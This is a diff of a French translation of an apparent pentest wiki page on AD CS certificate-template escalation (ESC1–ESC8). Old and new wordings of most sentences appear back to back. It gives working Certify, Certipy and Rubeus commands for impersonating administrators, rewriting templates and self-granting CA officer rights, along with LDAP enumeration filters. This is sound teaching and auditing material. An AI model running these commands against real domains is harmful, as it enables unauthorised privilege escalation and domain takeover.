Notez que lorsqu'un certificat avec cette dernière option est créé, un **avertissement apparaît**, mais il n'apparaît pas si un **modèle de certificat** avec cette configuration est **dupliqué** (comme le modèle `WebServer` qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé, puis l'administrateur peut ajouter un OID d'authentification).
|
||||
|
||||
### Abus
|
||||
|
||||
|
@ -40,19 +40,19 @@ Pour **trouver des modèles de certificats vulnérables**, vous pouvez exécuter
|
|||
Certify.exe find /vulnerable
|
||||
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Pour **exploiter cette vulnérabilité pour se faire passer pour un administrateur**, on pourrait exécuter :
|
||||
Pour **exploiter cette vulnérabilité afin de se faire passer pour un administrateur**, on peut exécuter :
|
||||
```bash
|
||||
Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
|
||||
```
|
||||
Ensuite, vous pouvez convertir le **certificat généré en format `.pfx`** et l'utiliser pour **s'authentifier en utilisant Rubeus ou certipy** à nouveau:
|
||||
Ensuite, vous pouvez convertir le certificat généré au format **`.pfx`** et l'utiliser pour **vous authentifier à l'aide de Rubeus ou certipy** à nouveau:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Les binaires Windows "Certreq.exe" et "Certutil.exe" peuvent être utilisés de manière abusive pour générer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
Les binaires Windows "Certreq.exe" et "Certutil.exe" peuvent être utilisés de manière abusive pour générer le fichier PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour **énumérer les modèles de certificats** qui ne nécessitent pas d'approbation/signatures, qui ont une EKU d'authentification de client ou de connexion de carte à puce, et qui ont le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** activé :
|
||||
De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour **énumérer** les **modèles de certificats** qui ne nécessitent pas d'approbation/signature, qui ont une **EKU d'authentification client ou de connexion par carte à puce**, et qui ont le drapeau **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** activé :
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
|
@ -62,17 +62,17 @@ De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma
|
|||
|
||||
Le deuxième scénario d'abus est une variation du premier :
|
||||
|
||||
1. L'AC d'entreprise accorde des droits d'inscription à des utilisateurs à faible privilège.
|
||||
2. L'approbation du gestionnaire est désactivée.
|
||||
1. L'AC d'entreprise accorde des droits d'inscription aux utilisateurs à faible privilège.
|
||||
2. L'approbation du responsable est désactivée.
|
||||
3. Aucune signature autorisée n'est requise.
|
||||
4. Un descripteur de sécurité de modèle de certificat excessivement permissif accorde des droits d'inscription de certificat à des utilisateurs à faible privilège.
|
||||
5. **Le modèle de certificat définit l'EKU de toute fin ou aucune EKU.**
|
||||
4. Un descripteur de sécurité de modèle de certificat excessivement permissif accorde des droits d'inscription aux utilisateurs à faible privilège.
|
||||
5. **Le modèle de certificat définit l'EKU Toutes fins ou aucune EKU.**
|
||||
|
||||
L'**EKU de toute fin** permet à un attaquant d'obtenir un **certificat** pour **n'importe quelle fin** telle que l'authentification client, l'authentification de serveur, la signature de code, etc. La même **technique que pour ESC3** peut être utilisée pour abuser de cela.
|
||||
L'**EKU Toutes fins** permet à un attaquant d'obtenir un **certificat** pour **n'importe quelle utilisation**, comme l'authentification client, l'authentification du serveur, la signature de code, etc. La même **technique que pour ESC3** peut être utilisée pour abuser de cela.
|
||||
|
||||
Un **certificat sans EKU** - un certificat de CA subordonné - peut également être utilisé à des **fins quelconques** mais pourrait **aussi l'utiliser pour signer de nouveaux certificats**. Ainsi, en utilisant un certificat de CA subordonné, un attaquant pourrait **spécifier des EKU ou des champs arbitraires dans les nouveaux certificats.**
|
||||
Un **certificat sans EKU** - un certificat de CA subordonnée - peut également être utilisé à **n'importe quelle fin**, mais pourrait **aussi être utilisé pour signer de nouveaux certificats**. Ainsi, en utilisant un certificat de CA subordonnée, un attaquant pourrait **spécifier des EKU ou des champs arbitraires dans les nouveaux certificats**.
|
||||
|
||||
Cependant, si le **CA subordonné n'est pas approuvé** par l'objet **`NTAuthCertificates`** (ce qui ne sera pas le cas par défaut), l'attaquant **ne peut pas créer de nouveaux certificats** qui fonctionneront pour **l'authentification de domaine**. Néanmoins, l'attaquant peut créer de **nouveaux certificats avec n'importe quelle EKU** et des valeurs de certificat arbitraires, dont il y a **beaucoup** que l'attaquant pourrait potentiellement **abuser** (par exemple, la signature de code, l'authentification de serveur, etc.) et qui pourraient avoir de grandes implications pour d'autres applications dans le réseau telles que SAML, AD FS ou IPSec.
|
||||
Cependant, si la **CA subordonnée n'est pas approuvée** par l'objet **`NTAuthCertificates`** (ce qui ne sera pas le cas par défaut), l'attaquant **ne peut pas créer de nouveaux certificats** qui fonctionneront pour **l'authentification de domaine**. Néanmoins, l'attaquant peut créer **de nouveaux certificats avec n'importe quelle EKU** et des valeurs de certificat arbitraires, dont il y en a **beaucoup** que l'attaquant pourrait potentiellement **abuser** (par exemple, la signature de code, l'authentification du serveur, etc.) et cela pourrait avoir de grandes implications pour d'autres applications du réseau telles que SAML, AD FS ou IPSec.
|
||||
|
||||
La requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour énumérer les modèles correspondant à ce scénario :
|
||||
```
|
||||
|
@ -84,29 +84,29 @@ La requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de confi
|
|||
|
||||
Ce scénario est similaire aux deux premiers, mais **exploite** un **EKU différent** (Agent de demande de certificat) et **2 modèles différents** (par conséquent, il a 2 ensembles de conditions),
|
||||
|
||||
L'EKU de l'**Agent de demande de certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'inscription** dans la documentation Microsoft, permet à un principal de s'**inscrire** pour un **certificat** **au nom d'un autre utilisateur**.
|
||||
L'EKU de l'Agent de demande de certificat (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'inscription** dans la documentation Microsoft, permet à un principal de s'**inscrire** pour un **certificat** au **nom d'un autre utilisateur**.
|
||||
|
||||
L'**« agent d'inscription »** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour co-signer une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR co-signée** au CA, s'inscrivant dans un **modèle** qui **autorise l'inscription au nom de**, et le CA répond avec un **certificat appartenant à l'« autre » utilisateur**.
|
||||
L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour co-signer une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la CSR **co-signée** à l'AC, s'inscrivant dans un **modèle** qui **autorise l'inscription au nom de**, et l'AC répond avec un **certificat appartenant à l'"autre" utilisateur**.
|
||||
|
||||
**Conditions requises 1:**
|
||||
**Conditions 1:**
|
||||
|
||||
1. Le CA d'entreprise autorise les utilisateurs à faible privilège à s'inscrire.
|
||||
2. L'approbation du gestionnaire est désactivée.
|
||||
1. L'AC d'entreprise autorise les utilisateurs à faibles privilèges à s'inscrire.
|
||||
2. L'approbation du responsable est désactivée.
|
||||
3. Aucune signature autorisée n'est requise.
|
||||
4. Un descripteur de sécurité de modèle de certificat excessivement permissif permet aux utilisateurs à faible privilège de s'inscrire pour un certificat.
|
||||
4. Un descripteur de sécurité de modèle de certificat excessivement permissif autorise les utilisateurs à faibles privilèges à s'inscrire.
|
||||
5. Le **modèle de certificat définit l'EKU de l'Agent de demande de certificat**. L'OID de l'Agent de demande de certificat (1.3.6.1.4.1.311.20.2.1) permet de demander d'autres modèles de certificat au nom d'autres principaux.
|
||||
|
||||
**Conditions requises 2:**
|
||||
**Conditions 2:**
|
||||
|
||||
1. Le CA d'entreprise autorise les utilisateurs à faible privilège à s'inscrire.
|
||||
2. L'approbation du gestionnaire est désactivée.
|
||||
3. **La version du schéma de modèle est 1 ou supérieure à 2 et spécifie une exigence d'émission de politique d'application nécessitant l'EKU de l'Agent de demande de certificat.**
|
||||
1. L'AC d'entreprise autorise les utilisateurs à faibles privilèges à s'inscrire.
|
||||
2. L'approbation du responsable est désactivée.
|
||||
3. **La version du schéma du modèle est supérieure à 1 ou 2 et spécifie une exigence d'émission de politique d'application nécessitant l'EKU de l'Agent de demande de certificat**.
|
||||
4. Le modèle de certificat définit un EKU qui permet l'authentification de domaine.
|
||||
5. Les restrictions de l'agent d'inscription ne sont pas mises en œuvre sur le CA.
|
||||
5. Les restrictions de l'agent d'inscription ne sont pas mises en œuvre sur l'AC.
|
||||
|
||||
### Abus
|
||||
|
||||
Vous pouvez utiliser [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) pour exploiter ce scénario:
|
||||
Vous pouvez utiliser [**Certify**](https://github.com/GhostPack/Certify) ou [**Certipy**](https://github.com/ly4k/Certipy) pour exploiter ce scénario :
|
||||
```bash
|
||||
# Request an enrollment agent certificate
|
||||
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
|
||||
|
@ -120,39 +120,39 @@ certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'Us
|
|||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Les autorités de certification d'entreprise peuvent **restreindre** les **utilisateurs** qui peuvent **obtenir** un **certificat d'agent d'inscription**, les modèles d'inscription des agents et les **comptes** pour lesquels l'agent d'inscription peut **agir au nom de** en ouvrant `certsrc.msc` `snap-in -> clic droit sur l'AC -> cliquer sur Propriétés -> naviguer` jusqu'à l'onglet "Agents d'inscription".
|
||||
Les autorités de certification d'entreprise peuvent **restreindre** les **utilisateurs** qui peuvent **obtenir** un **certificat d'agent d'inscription**, les modèles d'inscription auxquels les **agents d'inscription peuvent s'inscrire**, et les **comptes** au nom desquels l'agent d'inscription peut **agir** en ouvrant `certsrc.msc` `snap-in -> clic droit sur l'AC -> clic sur Propriétés -> navigation` vers l'onglet "Agents d'inscription".
|
||||
|
||||
Cependant, le paramètre CA **par défaut** est "Ne pas restreindre les agents d'inscription". Même lorsque les administrateurs activent "Restreindre les agents d'inscription", le paramètre par défaut est extrêmement permissif, permettant à tout le monde d'accéder à tous les modèles comme n'importe qui.
|
||||
Cependant, le paramètre par défaut de l'AC est "Ne pas restreindre les agents d'inscription". Même lorsque les administrateurs activent "Restreindre les agents d'inscription", le paramètre par défaut est extrêmement permissif, permettant à tout le monde d'accéder à tous les modèles d'inscription en tant que n'importe qui.
|
||||
|
||||
## Contrôle d'accès vulnérable aux modèles de certificats - ESC4
|
||||
|
||||
### **Explication**
|
||||
|
||||
Les **modèles de certificats** ont un **descripteur de sécurité** qui spécifie les **principaux AD** qui ont des **autorisations spécifiques sur le modèle**.
|
||||
Les **modèles de certificats** ont un **descripteur de sécurité** qui spécifie quels **principaux AD** ont des **autorisations spécifiques sur le modèle**.
|
||||
|
||||
Si un **attaquant** a suffisamment d'**autorisations** pour **modifier** un **modèle** et **créer** l'une des **mauvaises configurations** exploitables des **sections précédentes**, il pourra l'exploiter et **escalader les privilèges**.
|
||||
Si un **attaquant** a suffisamment d'**autorisations** pour **modifier** un **modèle** et **créer** l'une des **misconfigurations** exploitables des **sections précédentes**, il pourra l'exploiter et **escalader les privilèges**.
|
||||
|
||||
Droits intéressants sur les modèles de certificats :
|
||||
|
||||
* **Propriétaire :** Contrôle total implicite de l'objet, peut modifier toutes les propriétés.
|
||||
* **Contrôle total :** Contrôle total de l'objet, peut modifier toutes les propriétés.
|
||||
* **Écrire le propriétaire :** Peut modifier le propriétaire en un principal contrôlé par un attaquant.
|
||||
* **Écrire Dacl :** Peut modifier le contrôle d'accès pour accorder à un attaquant un contrôle total.
|
||||
* **Écrire le propriétaire :** Peut modifier le propriétaire en un principal contrôlé par l'attaquant.
|
||||
* **Écrire le DACL :** Peut modifier le contrôle d'accès pour accorder un contrôle total à un attaquant.
|
||||
* **Écrire la propriété :** Peut modifier toutes les propriétés.
|
||||
|
||||
### Abus
|
||||
|
||||
Un exemple de privesc comme le précédent :
|
||||
Un exemple de privilège élevé comme le précédent :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 est lorsqu'un utilisateur a des privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être utilisé pour écraser la configuration du modèle de certificat afin de le rendre vulnérable à ESC1.
|
||||
ESC4 se produit lorsqu'un utilisateur dispose de privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être exploité pour écraser la configuration du modèle de certificat afin de rendre le modèle vulnérable à ESC1.
|
||||
|
||||
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouvel élément `AddKeyCredentialLink` vers `JOHNPC`. Comme cette technique est liée aux certificats, j'ai également implémenté cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime.
|
||||
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` dispose de ces privilèges, mais notre utilisateur `JOHN` a le nouvel attribut `AddKeyCredentialLink` vers `JOHNPC`. Étant donné que cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Certipy** peut écraser la configuration d'un modèle de certificat avec une seule commande. Par **défaut**, Certipy **écrase** la configuration pour la rendre **vulnérable à ESC1**. Nous pouvons également spécifier le paramètre **`-save-old` pour sauvegarder l'ancienne configuration**, ce qui sera utile pour **restaurer** la configuration après notre attaque.
|
||||
**Certipy** peut écraser la configuration d'un modèle de certificat avec une seule commande. Par **défaut**, Certipy **écrasera** la configuration pour la rendre **vulnérable à ESC1**. Nous pouvons également spécifier le paramètre **`-save-old` pour sauvegarder l'ancienne configuration**, ce qui sera utile pour **restaurer** la configuration après notre attaque.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
|
@ -163,15 +163,15 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
|||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## Contrôle d'accès aux objets PKI vulnérables - ESC5
|
||||
## Contrôle d'accès vulnérable aux objets PKI - ESC5
|
||||
|
||||
### Explication
|
||||
|
||||
La toile de relations ACL interconnectées qui peuvent affecter la sécurité d'AD CS est vaste. Plusieurs **objets en dehors des modèles de certificats** et de l'autorité de certification elle-même peuvent avoir un **impact sur la sécurité de l'ensemble du système AD CS**. Ces possibilités comprennent (mais sans s'y limiter) :
|
||||
La toile des relations ACL interconnectées qui peuvent affecter la sécurité d'AD CS est vaste. Plusieurs **objets en dehors des modèles de certificats** et de l'autorité de certification elle-même peuvent avoir un **impact sur la sécurité de l'ensemble du système AD CS**. Ces possibilités comprennent (mais ne sont pas limitées à) :
|
||||
|
||||
* L'**objet d'ordinateur AD du serveur CA** (c'est-à-dire la compromission par S4U2Self ou S4U2Proxy)
|
||||
* L'**objet ordinateur AD du serveur CA** (c'est-à-dire, compromission via S4U2Self ou S4U2Proxy)
|
||||
* Le **serveur RPC/DCOM du serveur CA**
|
||||
* Tout **objet ou conteneur descendant d'AD dans le conteneur** `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` (par exemple, le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates, le conteneur Services d'inscription, etc.)
|
||||
* Tout **objet ou conteneur AD descendant dans le conteneur** `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` (par exemple, le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates, le conteneur Services d'inscription, etc.)
|
||||
|
||||
Si un attaquant à faible privilège peut **prendre le contrôle de l'un de ces objets**, l'attaque peut probablement **compromettre le système PKI**.
|
||||
|
||||
|
@ -179,10 +179,10 @@ Si un attaquant à faible privilège peut **prendre le contrôle de l'un de ces
|
|||
|
||||
### Explication
|
||||
|
||||
Il existe un autre problème similaire, décrit dans le [**poste de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), qui concerne le drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**. Comme Microsoft le décrit, "**Si** ce drapeau est **activé** sur le CA, **toute demande** (y compris lorsque le sujet est construit à partir d'Active Directory®) peut avoir des **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet**."\
|
||||
Cela signifie qu'un **attaquant** peut s'inscrire dans **N'IMPORTE QUEL modèle** configuré pour l'**authentification de domaine** qui permet également aux utilisateurs non privilégiés de s'inscrire (par exemple, le modèle d'utilisateur par défaut) et **obtenir un certificat** qui nous permet de nous **authentifier** en tant qu'administrateur de domaine (ou **tout autre utilisateur/machine actif**).
|
||||
Il existe un autre problème similaire, décrit dans le [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), qui concerne le drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**. Comme le décrit Microsoft, "si ce drapeau est **activé** sur le CA, **toute demande** (y compris lorsque le sujet est construit à partir d'Active Directory®) peut avoir des **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet**".\
|
||||
Cela signifie qu'un **attaquant** peut s'inscrire dans **N'IMPORTE QUEL modèle** configuré pour l'**authentification** de domaine qui permet également aux utilisateurs **non privilégiés** de s'inscrire (par exemple, le modèle Utilisateur par défaut) et **obtenir un certificat** qui nous permet de nous **authentifier** en tant qu'administrateur de domaine (ou **tout autre utilisateur/machine actif**).
|
||||
|
||||
**Note** : les **noms alternatifs** ici sont **inclus** dans une CSR via l'argument `-attrib "SAN:"` à `certreq.exe` (c'est-à-dire "Paires de noms/valeurs"). Cela est **différent** de la méthode pour **abuser des SAN** dans ESC1 car elle **stocke les informations de compte dans un attribut de certificat au lieu d'une extension de certificat**.
|
||||
**Remarque** : les **noms alternatifs** sont **inclus** dans une CSR via l'argument `-attrib "SAN:"` de `certreq.exe` (c'est-à-dire, "Paires Nom Valeur"). Cela est **différent** de la méthode pour **abuser des SAN** dans ESC1 car cela **stocke les informations de compte dans un attribut de certificat au lieu d'une extension de certificat**.
|
||||
|
||||
### Abus
|
||||
|
||||
|
@ -190,7 +190,7 @@ Les organisations peuvent **vérifier si le paramètre est activé** en utilisan
|
|||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
En dessous, cela utilise simplement le **registre distant**, donc la commande suivante peut également fonctionner:
|
||||
En dessous, cela utilise simplement le **registre distant**, donc la commande suivante peut également fonctionner :
|
||||
```
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
|
@ -207,13 +207,13 @@ Ces paramètres peuvent être **définis**, en supposant des droits **administra
|
|||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
Si vous trouvez ce paramètre dans votre environnement, vous pouvez **supprimer ce drapeau** avec:
|
||||
Si vous trouvez ce paramètre dans votre environnement, vous pouvez **supprimer ce drapeau** avec :
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Après les mises à jour de sécurité de mai 2022, les nouveaux **certificats** auront une **extension de sécurité** qui **intègre** la propriété **`objectSid` de l'émetteur de la demande**. Pour ESC1, cette propriété sera reflétée à partir du SAN spécifié, mais avec **ESC6**, cette propriété reflète l'**`objectSid` de l'émetteur de la demande**, et non pas du SAN.\
|
||||
Ainsi, **pour exploiter ESC6**, l'environnement doit être **vulnérable à ESC10** (Mappings de certificats faibles), où le **SAN est préféré à la nouvelle extension de sécurité**.
|
||||
Après les mises à jour de sécurité de mai 2022, les nouveaux **certificats** auront une **extension de sécurité** qui **intègre** la **propriété `objectSid` du demandeur**. Pour ESC1, cette propriété sera reflétée à partir du SAN spécifié, mais avec **ESC6**, cette propriété reflète la **`objectSid` du demandeur**, et non pas celle du SAN.\
|
||||
Ainsi, **pour exploiter ESC6**, l'environnement doit être **vulnérable à ESC10** (Mappings de certificats faibles), où le **SAN est préféré par rapport à la nouvelle extension de sécurité**.
|
||||
{% endhint %}
|
||||
|
||||
## Contrôle d'accès vulnérable de l'autorité de certification - ESC7
|
||||
|
@ -222,7 +222,7 @@ Ainsi, **pour exploiter ESC6**, l'environnement doit être **vulnérable à ESC1
|
|||
|
||||
#### Explication
|
||||
|
||||
Une autorité de certification elle-même a un **ensemble de permissions** qui sécurisent diverses **actions de l'AC**. Ces autorisations peuvent être consultées depuis `certsrv.msc`, en cliquant avec le bouton droit sur une AC, en sélectionnant Propriétés, puis en passant à l'onglet Sécurité :
|
||||
Une autorité de certification elle-même dispose d'un **ensemble d'autorisations** qui sécurisent diverses **actions de l'AC**. Ces autorisations peuvent être consultées depuis `certsrv.msc`, en cliquant avec le bouton droit sur une AC, en sélectionnant Propriétés, puis en passant à l'onglet Sécurité :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (73) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -234,7 +234,7 @@ Les deux droits principaux ici sont le droit **`ManageCA`** et le droit **`Manag
|
|||
|
||||
#### Abus
|
||||
|
||||
Si vous avez un principal avec des droits **`ManageCA`** sur une **autorité de certification**, nous pouvons utiliser **PSPKI** pour basculer à distance le bit **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour **autoriser la spécification SAN** dans n'importe quel modèle ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)) :
|
||||
Si vous avez un principal avec les droits **`ManageCA`** sur une **autorité de certification**, nous pouvons utiliser **PSPKI** pour inverser à distance le bit **`EDITF_ATTRIBUTESUBJECTALTNAME2`** afin de permettre la spécification de SAN dans n'importe quel modèle ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)) :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -242,7 +242,7 @@ Si vous avez un principal avec des droits **`ManageCA`** sur une **autorité de
|
|||
|
||||
Cela est également possible sous une forme plus simple avec la cmdlet [**Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) de **PSPKI**.
|
||||
|
||||
Le droit **`ManageCertificates`** permet d'**approuver une demande en attente**, contournant ainsi la protection "approbation du gestionnaire de certificat de l'AC".
|
||||
Le droit **`ManageCertificates`** permet d'approuver une demande en attente, contournant ainsi la protection "approbation du gestionnaire de certificat de l'autorité de certification".
|
||||
|
||||
Vous pouvez utiliser une **combinaison** des modules **Certify** et **PSPKI** pour demander un certificat, l'approuver et le télécharger :
|
||||
```powershell
|
||||
|
@ -265,7 +265,7 @@ Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
|
|||
#### Explication
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dans l'**attaque précédente** **`Manage CA`**, les permissions ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'**attaque ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur dispose du droit d'accès `Manage CA`, l'utilisateur est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, l'**ESC6 pourrait ne pas fonctionner directement** dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
|
||||
Dans l'**attaque précédente**, les permissions **`Manage CA`** ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'attaque **ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur dispose du droit d'accès `Manage CA`, il est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6 pourrait ne pas fonctionner** par défaut dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
|
||||
{% endhint %}
|
||||
|
||||
Par conséquent, une autre attaque est présentée ici.
|
||||
|
@ -273,14 +273,14 @@ Par conséquent, une autre attaque est présentée ici.
|
|||
Prérequis :
|
||||
|
||||
* Seulement la permission **`ManageCA`**
|
||||
* La permission **`Manage Certificates`** (peut être accordée depuis **`ManageCA`**)
|
||||
* Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé depuis **`ManageCA`**)
|
||||
* Permission **`Manage Certificates`** (peut être accordée à partir de **`ManageCA`**)
|
||||
* Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé à partir de **`ManageCA`**)
|
||||
|
||||
La technique repose sur le fait que les utilisateurs ayant le droit d'accès `Manage CA` _et_ `Manage Certificates` peuvent **émettre des demandes de certificat échouées**. Le modèle de certificat **`SubCA`** est **vulnérable à l'ESC1**, mais **seuls les administrateurs** peuvent s'inscrire dans le modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire dans le **`SubCA`** - qui sera **refusé** - mais **ensuite émis par le gestionnaire**.
|
||||
La technique repose sur le fait que les utilisateurs ayant le droit d'accès `Manage CA` _et_ `Manage Certificates` peuvent **émettre des demandes de certificat échouées**. Le modèle de certificat **`SubCA`** est **vulnérable à ESC1**, mais **seuls les administrateurs** peuvent s'inscrire dans le modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire dans le **`SubCA`** - ce qui sera **refusé** - mais **ensuite émis par le gestionnaire**.
|
||||
|
||||
#### Abus
|
||||
|
||||
Vous pouvez **vous accorder le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur en tant que nouvel officier.
|
||||
Vous pouvez **vous accorder vous-même l'accès `Manage Certificates`** en ajoutant votre utilisateur en tant que nouvel officier.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -313,7 +313,7 @@ Would you like to save the private key? (y/N) y
|
|||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
Avec notre **`Gestionnaire de CA` et `Gestionnaire de Certificats`**, nous pouvons ensuite **émettre la demande de certificat échouée** avec la commande `ca` et le paramètre `-issue-request <ID de la demande>`.
|
||||
Avec notre **`Gérer CA` et `Gérer Certificats`**, nous pouvons ensuite **émettre la demande de certificat échouée** avec la commande `ca` et le paramètre `-issue-request <ID de la demande>`.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -337,23 +337,23 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
### Explication
|
||||
|
||||
{% hint style="info" %}
|
||||
En résumé, si un environnement a **AD CS installé**, ainsi qu'un **point d'extrémité d'inscription web vulnérable** et au moins un **modèle de certificat publié** qui permet l'**inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle **`Machine`** par défaut), alors un **attaquant peut compromettre N'IMPORTE QUEL ordinateur avec le service spouleur en cours d'exécution** !
|
||||
En résumé, si un environnement a **AD CS installé**, ainsi qu'un **point de terminaison d'inscription web vulnérable** et au moins un **modèle de certificat publié** qui permet l'**inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle **`Machine`** par défaut), alors un **attaquant peut compromettre N'IMPORTE QUEL ordinateur exécutant le service spouleur** !
|
||||
{% endhint %}
|
||||
|
||||
